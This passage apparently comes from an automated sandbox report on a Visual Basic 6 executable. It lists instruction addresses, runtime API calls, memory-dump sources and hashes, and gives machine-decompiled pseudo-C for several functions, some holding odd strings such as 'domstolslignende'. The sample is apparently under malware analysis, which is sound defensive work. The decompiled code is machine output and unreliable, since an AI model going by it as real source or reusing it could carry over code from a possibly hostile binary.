                    0x00413fd5
                    0x00413fd6
                    0x00413fd7
                    0x00413fd8
                    0x00413fdc
                    0x00413fe9
                    0x00413fea
                    0x00413feb
                    0x00413fec
                    0x00413ff0
                    0x00413ffa
                    0x00413ffb
                    0x00413ffc
                    0x00413ffd
                    0x0041400c
                    0x0041400f
                    0x00414011
                    0x0041401e
                    0x00414040
                    0x00414020
                    0x00414020
                    0x00414022
                    0x00414027
                    0x0041402d
                    0x00414033
                    0x00414038
                    0x00414038
                    0x0041404a
                    0x00414050
                    0x0041405a
                    0x0041405d
                    0x00414064
                    0x00414067
                    0x00414071
                    0x00414072
                    0x00414073
                    0x00414074
                    0x00414075
                    0x00414077
                    0x0041407a
                    0x00414082
                    0x0041408a
                    0x0041408b
                    0x0041408e
                    0x0041408f
                    0x00414091
                    0x00414096
                    0x00414099
                    0x004140dc
                    0x004140e4
                    0x004140ec
                    0x004140f1

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00413CD1
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00413CE9
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00413CF4
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00413D0C
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00413D45
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411344,00000180), ref: 00413D8B
                    • __vbaFreeObj.MSVBVM60(00000000,?,00411344,00000180), ref: 00413DA2
                    • #610.MSVBVM60(?), ref: 00413DAB
                    • #610.MSVBVM60(?,?), ref: 00413DB4
                    • __vbaVarAdd.MSVBVM60(?,00000002,?,00000001,00000001,?,?), ref: 00413DDD
                    • #662.MSVBVM60(?,00411358,?,00000000,?,00000002,?,00000001,00000001,?,?), ref: 00413DF0
                    • __vbaVarTstNe.MSVBVM60(00008002,?,?,00411358,?,00000000,?,00000002,?,00000001,00000001,?,?), ref: 00413E14
                    • __vbaFreeVarList.MSVBVM60(00000004,?,?,?,?,00008002,?,?,00411358,?,00000000,?,00000002,?,00000001,00000001), ref: 00413E32
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00413E5C
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00413E95
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411324,000000B0), ref: 00413EDF
                    • __vbaNew2.MSVBVM60(0041137C,0041931C), ref: 00413F06
                    • __vbaChkstk.MSVBVM60(?), ref: 00413FA0
                    • __vbaChkstk.MSVBVM60(?), ref: 00413FB4
                    • __vbaChkstk.MSVBVM60(?), ref: 00413FC8
                    • __vbaChkstk.MSVBVM60(?), ref: 00413FDC
                    • __vbaChkstk.MSVBVM60(?), ref: 00413FF0
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000044), ref: 00414033
                    • __vbaChkstk.MSVBVM60(00000000,?,0041136C,00000044), ref: 00414067
                    • __vbaLateIdSt.MSVBVM60(?,00000000), ref: 0041407A
                    • __vbaFreeObj.MSVBVM60(?,00000000), ref: 00414082
                    • __vbaFreeVarList.MSVBVM60(00000002,00000008,00000009,?,00000000), ref: 00414091
                    • __vbaFreeStr.MSVBVM60(004140F2), ref: 004140DC
                    • __vbaFreeStr.MSVBVM60(004140F2), ref: 004140E4
                    • __vbaFreeObj.MSVBVM60(004140F2), ref: 004140EC
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$ChkstkFree$CheckHresultNew2$#610CopyList$#662Late
                    • String ID:
                    • API String ID: 2500057795-0
                    • Opcode ID: efd62941e5d0c4f886a82c88830670579c1765fc78a23b1aa1d3886a14c8603b
                    • Instruction ID: 4eac3fb471aa199f9f250f713f3c79f68822772b6fc1307bf12d002f8010a358
                    • Opcode Fuzzy Hash: efd62941e5d0c4f886a82c88830670579c1765fc78a23b1aa1d3886a14c8603b
                    • Instruction Fuzzy Hash: 8EB1FB719002199BDB20DF91CC45FDEBBB9BF08304F1045AAE509BB2A1DBB95AC8CF54
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 51%
                    			E00416FFD(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr* _v16;
                    				intOrPtr _v28;
                    				char _v32;
                    				char _v36;
                    				char _v52;
                    				intOrPtr _v60;
                    				intOrPtr _v68;
                    				intOrPtr _v76;
                    				intOrPtr _v84;
                    				intOrPtr _v92;
                    				intOrPtr _v100;
                    				intOrPtr* _v104;
                    				signed int _v108;
                    				intOrPtr* _v120;
                    				signed int _v124;
                    				intOrPtr* _v128;
                    				signed int _v132;
                    				intOrPtr* _v136;
                    				signed int _v140;
                    				intOrPtr* _v144;
                    				signed int _v148;
                    				char* _t105;
                    				signed int _t111;
                    				char* _t115;
                    				signed int _t118;
                    				char* _t122;
                    				signed int _t126;
                    				char* _t130;
                    				signed int _t134;
                    				char* _t135;
                    				char* _t137;
                    				intOrPtr _t141;
                    				void* _t165;
                    				void* _t167;
                    				intOrPtr* _t168;
                    
                    				_t168 = _t167 - 0xc;
                    				 *[fs:0x0] = _t168;
                    				L004014B0();
                    				_v16 = _t168;
                    				_v12 = 0x401388;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x7c,  *[fs:0x0], 0x4014b6, _t165);
                    				if( *0x419010 != 0) {
                    					_v120 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v120 = 0x419010;
                    				}
                    				_t141 =  *((intOrPtr*)( *_v120));
                    				_t105 =  &_v32;
                    				L0040169C();
                    				_v104 = _t105;
                    				_v92 = 0x80020004;
                    				_v100 = 0xa;
                    				_v76 = 0x80020004;
                    				_v84 = 0xa;
                    				_v60 = 0x80020004;
                    				_v68 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				 *_t168 =  *0x401380;
                    				_t111 =  *((intOrPtr*)( *_v104 + 0x1cc))(_v104, _t141, 0x10, 0x10, 0x10, _t105,  *((intOrPtr*)(_t141 + 0x378))( *_v120));
                    				asm("fclex");
                    				_v108 = _t111;
                    				if(_v108 >= 0) {
                    					_v124 = _v124 & 0x00000000;
                    				} else {
                    					_push(0x1cc);
                    					_push(0x4113ac);
                    					_push(_v104);
                    					_push(_v108);
                    					L00401690();
                    					_v124 = _t111;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v128 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v128 = 0x419010;
                    				}
                    				_t115 =  &_v32;
                    				L0040169C();
                    				_v104 = _t115;
                    				_t118 =  *((intOrPtr*)( *_v104 + 0x128))(_v104, _t115,  *((intOrPtr*)( *((intOrPtr*)( *_v128)) + 0x30c))( *_v128));
                    				asm("fclex");
                    				_v108 = _t118;
                    				if(_v108 >= 0) {
                    					_v132 = _v132 & 0x00000000;
                    				} else {
                    					_push(0x128);
                    					_push(0x4114a8);
                    					_push(_v104);
                    					_push(_v108);
                    					L00401690();
                    					_v132 = _t118;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v136 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v136 = 0x419010;
                    				}
                    				_t122 =  &_v32;
                    				L0040169C();
                    				_v104 = _t122;
                    				_v60 = 0x80020004;
                    				_v68 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t126 =  *((intOrPtr*)( *_v104 + 0x1ec))(_v104, L"domstolslignende", 0x10, _t122,  *((intOrPtr*)( *((intOrPtr*)( *_v136)) + 0x310))( *_v136));
                    				asm("fclex");
                    				_v108 = _t126;
                    				if(_v108 >= 0) {
                    					_v140 = _v140 & 0x00000000;
                    				} else {
                    					_push(0x1ec);
                    					_push(0x411498);
                    					_push(_v104);
                    					_push(_v108);
                    					L00401690();
                    					_v140 = _t126;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v144 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v144 = 0x419010;
                    				}
                    				_t130 =  &_v32;
                    				L0040169C();
                    				_v104 = _t130;
                    				_t134 =  *((intOrPtr*)( *_v104 + 0x158))(_v104,  &_v36, _t130,  *((intOrPtr*)( *((intOrPtr*)( *_v144)) + 0x324))( *_v144));
                    				asm("fclex");
                    				_v108 = _t134;
                    				if(_v108 >= 0) {
                    					_v148 = _v148 & 0x00000000;
                    				} else {
                    					_push(0x158);
                    					_push(0x411410);
                    					_push(_v104);
                    					_push(_v108);
                    					L00401690();
                    					_v148 = _t134;
                    				}
                    				_push(0);
                    				_push(0);
                    				_push(_v36);
                    				_t135 =  &_v52;
                    				_push(_t135);
                    				L00401618();
                    				_push(_t135);
                    				L0040160C();
                    				_v28 = _t135;
                    				_push( &_v36);
                    				_t137 =  &_v32;
                    				_push(_t137);
                    				_push(2);
                    				L00401654();
                    				L00401636();
                    				asm("wait");
                    				_push(0x41735e);
                    				return _t137;
                    			}








































                    0x00417000
                    0x0041700f
                    0x00417019
                    0x00417021
                    0x00417024
                    0x0041702b
                    0x0041703a
                    0x00417044
                    0x0041705e
                    0x00417046
                    0x00417046
                    0x0041704b
                    0x00417050
                    0x00417055
                    0x00417055
                    0x0041706f
                    0x00417079
                    0x0041707d
                    0x00417082
                    0x00417085
                    0x0041708c
                    0x00417093
                    0x0041709a
                    0x004170a1
                    0x004170a8
                    0x004170b2
                    0x004170bc
                    0x004170bd
                    0x004170be
                    0x004170bf
                    0x004170c3
                    0x004170cd
                    0x004170ce
                    0x004170cf
                    0x004170d0
                    0x004170d4
                    0x004170de
                    0x004170df
                    0x004170e0
                    0x004170e1
                    0x004170e9
                    0x004170f4
                    0x004170fa
                    0x004170fc
                    0x00417103
                    0x0041711f
                    0x00417105
                    0x00417105
                    0x0041710a
                    0x0041710f
                    0x00417112
                    0x00417115
                    0x0041711a
                    0x0041711a
                    0x00417126
                    0x00417132
                    0x0041714c
                    0x00417134
                    0x00417134
                    0x00417139
                    0x0041713e
                    0x00417143
                    0x00417143
                    0x00417167
                    0x0041716b
                    0x00417170
                    0x0041717b
                    0x00417181
                    0x00417183
                    0x0041718a
                    0x004171a6
                    0x0041718c
                    0x0041718c
                    0x00417191
                    0x00417196
                    0x00417199
                    0x0041719c
                    0x004171a1
                    0x004171a1
                    0x004171ad
                    0x004171b9
                    0x004171d6
                    0x004171bb
                    0x004171bb
                    0x004171c0
                    0x004171c5
                    0x004171ca
                    0x004171ca
                    0x004171fa
                    0x004171fe
                    0x00417203
                    0x00417206
                    0x0041720d
                    0x00417217
                    0x00417221
                    0x00417222
                    0x00417223
                    0x00417224
                    0x00417232
                    0x00417238
                    0x0041723a
                    0x00417241
                    0x00417260
                    0x00417243
                    0x00417243
                    0x00417248
                    0x0041724d
                    0x00417250
                    0x00417253
                    0x00417258
                    0x00417258
                    0x0041726a
                    0x00417276
                    0x00417293
                    0x00417278
                    0x00417278
                    0x0041727d
                    0x00417282
                    0x00417287
                    0x00417287
                    0x004172b7
                    0x004172bb
                    0x004172c0
                    0x004172cf
                    0x004172d5
                    0x004172d7
                    0x004172de
                    0x004172fd
                    0x004172e0
                    0x004172e0
                    0x004172e5
                    0x004172ea
                    0x004172ed
                    0x004172f0
                    0x004172f5
                    0x004172f5
                    0x00417304
                    0x00417306
                    0x00417308
                    0x0041730b
                    0x0041730e
                    0x0041730f
                    0x00417317
                    0x00417318
                    0x0041731d
                    0x00417323
                    0x00417324
                    0x00417327
                    0x00417328
                    0x0041732a
                    0x00417335
                    0x0041733a
                    0x0041733b
                    0x00000000

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00417019
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00417050
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 0041707D
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 004170B2
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 004170C3
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 004170D4
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,000001CC,?,?,00000000), ref: 00417115
                    • __vbaFreeObj.MSVBVM60(?,?,00000000), ref: 00417126
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,00000000), ref: 0041713E
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,00000000), ref: 0041716B
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,00000128,?,?,00000000), ref: 0041719C
                    • __vbaFreeObj.MSVBVM60(?,?,00000000), ref: 004171AD
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,00000000), ref: 004171C5
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,00000000), ref: 004171FE
                    • __vbaChkstk.MSVBVM60(?,00000000,?,?,00000000), ref: 00417217
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411498,000001EC,?,?,00000000), ref: 00417253
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,00000000), ref: 0041726A
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,00000000), ref: 00417282
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,00000000), ref: 004172BB
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411410,00000158,?,?,?,?,00000000), ref: 004172F0
                    • __vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000,?,?,?,?,?,?,00000000), ref: 0041730F
                    • __vbaI4Var.MSVBVM60(00000000,?,?,?,004014B6), ref: 00417318
                    • __vbaFreeObjList.MSVBVM60(00000002,?,00000000,00000000,?,?,?,004014B6), ref: 0041732A
                    • __vbaFreeVar.MSVBVM60(?,?,00000000,?,?,?,004014B6), ref: 00417335
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$ChkstkFree$CheckHresultNew2$CallLateList
                    • String ID: domstolslignende
                    • API String ID: 235934366-361804011
                    • Opcode ID: f5d32c48397178f1a2cd5da518f9edeb2c5af104a323a299ea349636d4af08ee
                    • Instruction ID: 0c7589e1e53fd598b422e6e91059367d1647d7378e88ef9d261fe7a3c6e93019
                    • Opcode Fuzzy Hash: f5d32c48397178f1a2cd5da518f9edeb2c5af104a323a299ea349636d4af08ee
                    • Instruction Fuzzy Hash: 62A1E770900308EFDB11DFA0C855BDDBBB9BF09704F24486AF505BB2A1CBBA5985DB58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 50%
                    			E00416BF7(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a16) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				void* _v28;
                    				char _v32;
                    				intOrPtr _v36;
                    				char _v40;
                    				char _v44;
                    				char _v48;
                    				intOrPtr _v56;
                    				char _v64;
                    				char _v80;
                    				intOrPtr _v88;
                    				char _v96;
                    				char _v100;
                    				char _v104;
                    				intOrPtr* _v108;
                    				signed int _v112;
                    				signed int _v116;
                    				signed int _v120;
                    				intOrPtr* _v132;
                    				intOrPtr* _v136;
                    				signed int _v140;
                    				signed int _v144;
                    				intOrPtr* _v148;
                    				signed int _v152;
                    				signed int _v156;
                    				intOrPtr* _v160;
                    				signed int _v164;
                    				signed int _t126;
                    				char* _t130;
                    				signed int _t134;
                    				signed int _t138;
                    				char* _t143;
                    				intOrPtr _t150;
                    				char* _t154;
                    				signed int _t157;
                    				char* _t158;
                    				char* _t162;
                    				signed int _t166;
                    				signed int _t169;
                    				void* _t195;
                    				void* _t197;
                    				intOrPtr _t198;
                    
                    				_t198 = _t197 - 0xc;
                    				 *[fs:0x0] = _t198;
                    				L004014B0();
                    				_v16 = _t198;
                    				_v12 = 0x401370;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4014b6, _t195);
                    				L00401684();
                    				if( *0x419010 != 0) {
                    					_v132 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v132 = 0x419010;
                    				}
                    				_push( *((intOrPtr*)( *((intOrPtr*)( *_v132)) + 0x384))( *_v132));
                    				_t126 =  &_v48;
                    				_push(_t126);
                    				L0040169C();
                    				_v116 = _t126;
                    				_v88 = 0x80020004;
                    				_v96 = 0xa;
                    				if( *0x419010 != 0) {
                    					_v136 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v136 = 0x419010;
                    				}
                    				_t130 =  &_v44;
                    				L0040169C();
                    				_v108 = _t130;
                    				_t134 =  *((intOrPtr*)( *_v108 + 0x130))(_v108,  &_v40, _t130,  *((intOrPtr*)( *((intOrPtr*)( *_v136)) + 0x374))( *_v136));
                    				asm("fclex");
                    				_v112 = _t134;
                    				if(_v112 >= 0) {
                    					_v140 = _v140 & 0x00000000;
                    				} else {
                    					_push(0x130);
                    					_push(0x4113ac);
                    					_push(_v108);
                    					_push(_v112);
                    					L00401690();
                    					_v140 = _t134;
                    				}
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t138 =  *((intOrPtr*)( *_v116 + 0x1ec))(_v116, _v40, 0x10);
                    				asm("fclex");
                    				_v120 = _t138;
                    				if(_v120 >= 0) {
                    					_v144 = _v144 & 0x00000000;
                    				} else {
                    					_push(0x1ec);
                    					_push(0x4113f0);
                    					_push(_v116);
                    					_push(_v120);
                    					L00401690();
                    					_v144 = _t138;
                    				}
                    				L0040165A();
                    				_push( &_v48);
                    				_push( &_v44);
                    				_push(2);
                    				L00401654();
                    				_v56 = 0x80020004;
                    				_v64 = 0xa;
                    				_push(0);
                    				_push(0xffffffff);
                    				_push( &_v64);
                    				_push(0x411604);
                    				_push( &_v80);
                    				L00401582();
                    				_t143 =  &_v80;
                    				_push(_t143);
                    				_push(0x2008);
                    				L00401588();
                    				_v104 = _t143;
                    				_push( &_v104);
                    				_push( &_v32);
                    				L0040158E();
                    				_push( &_v80);
                    				_push( &_v64);
                    				_push(2);
                    				L00401666();
                    				_t150 =  *((intOrPtr*)(_v32 + 0xc));
                    				_push( *((intOrPtr*)(_t150 + (0 -  *((intOrPtr*)(_v32 + 0x14))) * 4)));
                    				_push(0x411424);
                    				L0040164E();
                    				if(_t150 != 0) {
                    					if( *0x419010 != 0) {
                    						_v148 = 0x419010;
                    					} else {
                    						_push(0x419010);
                    						_push(0x41192c);
                    						L00401696();
                    						_v148 = 0x419010;
                    					}
                    					_t162 =  &_v44;
                    					L0040169C();
                    					_v108 = _t162;
                    					_t166 =  *((intOrPtr*)( *_v108 + 0x168))(_v108,  &_v100, _t162,  *((intOrPtr*)( *((intOrPtr*)( *_v148)) + 0x364))( *_v148));
                    					asm("fclex");
                    					_v112 = _t166;
                    					if(_v112 >= 0) {
                    						_v152 = _v152 & 0x00000000;
                    					} else {
                    						_push(0x168);
                    						_push(0x4115a8);
                    						_push(_v108);
                    						_push(_v112);
                    						L00401690();
                    						_v152 = _t166;
                    					}
                    					_t169 =  *((intOrPtr*)( *_a4 + 0x254))(_a4, _v100);
                    					asm("fclex");
                    					_v116 = _t169;
                    					if(_v116 >= 0) {
                    						_v156 = _v156 & 0x00000000;
                    					} else {
                    						_push(0x254);
                    						_push(0x410d28);
                    						_push(_a4);
                    						_push(_v116);
                    						L00401690();
                    						_v156 = _t169;
                    					}
                    					L0040168A();
                    				}
                    				if( *0x419010 != 0) {
                    					_v160 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v160 = 0x419010;
                    				}
                    				_t154 =  &_v44;
                    				L0040169C();
                    				_v108 = _t154;
                    				_t157 =  *((intOrPtr*)( *_v108 + 0x194))(_v108, _t154,  *((intOrPtr*)( *((intOrPtr*)( *_v160)) + 0x338))( *_v160));
                    				asm("fclex");
                    				_v112 = _t157;
                    				if(_v112 >= 0) {
                    					_v164 = _v164 & 0x00000000;
                    				} else {
                    					_push(0x194);
                    					_push(0x4113bc);
                    					_push(_v108);
                    					_push(_v112);
                    					L00401690();
                    					_v164 = _t157;
                    				}
                    				L0040168A();
                    				_v36 = 0x380e9b;
                    				_push(0x416fd6);
                    				L0040165A();
                    				_t158 =  &_v32;
                    				_push(_t158);
                    				_push(0);
                    				L0040157C();
                    				return _t158;
                    			}















































                    0x00416bfa
                    0x00416c09
                    0x00416c15
                    0x00416c1d
                    0x00416c20
                    0x00416c27
                    0x00416c36
                    0x00416c3f
                    0x00416c4b
                    0x00416c65
                    0x00416c4d
                    0x00416c4d
                    0x00416c52
                    0x00416c57
                    0x00416c5c
                    0x00416c5c
                    0x00416c7f
                    0x00416c80
                    0x00416c83
                    0x00416c84
                    0x00416c89
                    0x00416c8c
                    0x00416c93
                    0x00416ca1
                    0x00416cbe
                    0x00416ca3
                    0x00416ca3
                    0x00416ca8
                    0x00416cad
                    0x00416cb2
                    0x00416cb2
                    0x00416ce2
                    0x00416ce6
                    0x00416ceb
                    0x00416cfa
                    0x00416d00
                    0x00416d02
                    0x00416d09
                    0x00416d28
                    0x00416d0b
                    0x00416d0b
                    0x00416d10
                    0x00416d15
                    0x00416d18
                    0x00416d1b
                    0x00416d20
                    0x00416d20
                    0x00416d32
                    0x00416d3c
                    0x00416d3d
                    0x00416d3e
                    0x00416d3f
                    0x00416d4b
                    0x00416d51
                    0x00416d53
                    0x00416d5a
                    0x00416d79
                    0x00416d5c
                    0x00416d5c
                    0x00416d61
                    0x00416d66
                    0x00416d69
                    0x00416d6c
                    0x00416d71
                    0x00416d71
                    0x00416d83
                    0x00416d8b
                    0x00416d8f
                    0x00416d90
                    0x00416d92
                    0x00416d9a
                    0x00416da1
                    0x00416da8
                    0x00416daa
                    0x00416daf
                    0x00416db0
                    0x00416db8
                    0x00416db9
                    0x00416dbe
                    0x00416dc1
                    0x00416dc2
                    0x00416dc7
                    0x00416dcc
                    0x00416dd2
                    0x00416dd6
                    0x00416dd7
                    0x00416ddf
                    0x00416de3
                    0x00416de4
                    0x00416de6
                    0x00416df9
                    0x00416dfc
                    0x00416dff
                    0x00416e04
                    0x00416e0b
                    0x00416e18
                    0x00416e35
                    0x00416e1a
                    0x00416e1a
                    0x00416e1f
                    0x00416e24
                    0x00416e29
                    0x00416e29
                    0x00416e59
                    0x00416e5d
                    0x00416e62
                    0x00416e71
                    0x00416e77
                    0x00416e79
                    0x00416e80
                    0x00416e9f
                    0x00416e82
                    0x00416e82
                    0x00416e87
                    0x00416e8c
                    0x00416e8f
                    0x00416e92
                    0x00416e97
                    0x00416e97
                    0x00416eb1
                    0x00416eb7
                    0x00416eb9
                    0x00416ec0
                    0x00416edf
                    0x00416ec2
                    0x00416ec2
                    0x00416ec7
                    0x00416ecc
                    0x00416ecf
                    0x00416ed2
                    0x00416ed7
                    0x00416ed7
                    0x00416ee9
                    0x00416ee9
                    0x00416ef5
                    0x00416f12
                    0x00416ef7
                    0x00416ef7
                    0x00416efc
                    0x00416f01
                    0x00416f06
                    0x00416f06
                    0x00416f36
                    0x00416f3a
                    0x00416f3f
                    0x00416f4a
                    0x00416f50
                    0x00416f52
                    0x00416f59
                    0x00416f78
                    0x00416f5b
                    0x00416f5b
                    0x00416f60
                    0x00416f65
                    0x00416f68
                    0x00416f6b
                    0x00416f70
                    0x00416f70
                    0x00416f82
                    0x00416f87
                    0x00416f8e
                    0x00416fc5
                    0x00416fca
                    0x00416fcd
                    0x00416fce
                    0x00416fd0
                    0x00416fd5

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00416C15
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00416C3F
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00416C57
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00416C84
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,00000000), ref: 00416CAD
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00416CE6
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,00000130), ref: 00416D1B
                    • __vbaChkstk.MSVBVM60(00000000,?,004113AC,00000130), ref: 00416D32
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 00416D6C
                    • __vbaFreeStr.MSVBVM60(00000000,?,004113F0,000001EC), ref: 00416D83
                    • __vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00416D92
                    • #711.MSVBVM60(?,00411604,0000000A,000000FF,00000000), ref: 00416DB9
                    • __vbaAryVar.MSVBVM60(00002008,?,?,00411604,0000000A,000000FF,00000000), ref: 00416DC7
                    • __vbaAryCopy.MSVBVM60(?,?,00002008,?,?,00411604,0000000A,000000FF,00000000), ref: 00416DD7
                    • __vbaFreeVarList.MSVBVM60(00000002,0000000A,?,?,?,00002008,?,?,00411604,0000000A,000000FF,00000000), ref: 00416DE6
                    • __vbaStrCmp.MSVBVM60(00411424,?,?,?,?,?,?,004014B6), ref: 00416E04
                    • __vbaNew2.MSVBVM60(0041192C,00419010,00411424,?,?,?,?,?,?,004014B6), ref: 00416E24
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00416E5D
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004115A8,00000168), ref: 00416E92
                    • __vbaHresultCheckObj.MSVBVM60(00000000,00401370,00410D28,00000254), ref: 00416ED2
                    • __vbaFreeObj.MSVBVM60(00000000,00401370,00410D28,00000254), ref: 00416EE9
                    • __vbaNew2.MSVBVM60(0041192C,00419010,00411424,?,?,?,?,?,?,004014B6), ref: 00416F01
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00416F3A
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113BC,00000194), ref: 00416F6B
                    • __vbaFreeObj.MSVBVM60(00000000,?,004113BC,00000194), ref: 00416F82
                    • __vbaFreeStr.MSVBVM60(00416FD6), ref: 00416FC5
                    • __vbaAryDestruct.MSVBVM60(00000000,?,00416FD6), ref: 00416FD0
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckHresult$New2$ChkstkCopyList$#711Destruct
                    • String ID:
                    • API String ID: 3937751175-0
                    • Opcode ID: d4e41f3126a6fd14da2aa4ab424e9043fc240b73dfd9c17f7e7df351dc81a250
                    • Instruction ID: 4281cb10112b6660dce6945455a14c36392893f61c8bec228b7bcd14e7bc935b
                    • Opcode Fuzzy Hash: d4e41f3126a6fd14da2aa4ab424e9043fc240b73dfd9c17f7e7df351dc81a250
                    • Instruction Fuzzy Hash: B9B10675E00218AFDB10EFA4CC55BDDBBB8BF08304F10446AE509BB2A1DB799985DF58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 54%
                    			E00416505(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				intOrPtr _v28;
                    				short _v32;
                    				char _v36;
                    				signed int _v40;
                    				intOrPtr _v48;
                    				char _v56;
                    				char* _v64;
                    				intOrPtr _v72;
                    				void* _v92;
                    				signed int _v96;
                    				intOrPtr* _v100;
                    				signed int _v104;
                    				signed int _v116;
                    				intOrPtr* _v120;
                    				signed int _v124;
                    				signed int _v128;
                    				intOrPtr* _v132;
                    				signed int _v136;
                    				intOrPtr* _v140;
                    				signed int _v144;
                    				signed short _t103;
                    				char* _t111;
                    				signed int _t114;
                    				char* _t118;
                    				signed int _t122;
                    				signed int _t128;
                    				signed int _t134;
                    				void* _t161;
                    				void* _t163;
                    				intOrPtr _t164;
                    
                    				_t164 = _t163 - 0xc;
                    				 *[fs:0x0] = _t164;
                    				L004014B0();
                    				_v16 = _t164;
                    				_v12 = 0x401338;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x78,  *[fs:0x0], 0x4014b6, _t161);
                    				_v64 = L"theatrelike";
                    				_v72 = 8;
                    				L004015FA();
                    				_t103 =  &_v56;
                    				_push(_t103);
                    				L004015A0();
                    				asm("sbb eax, eax");
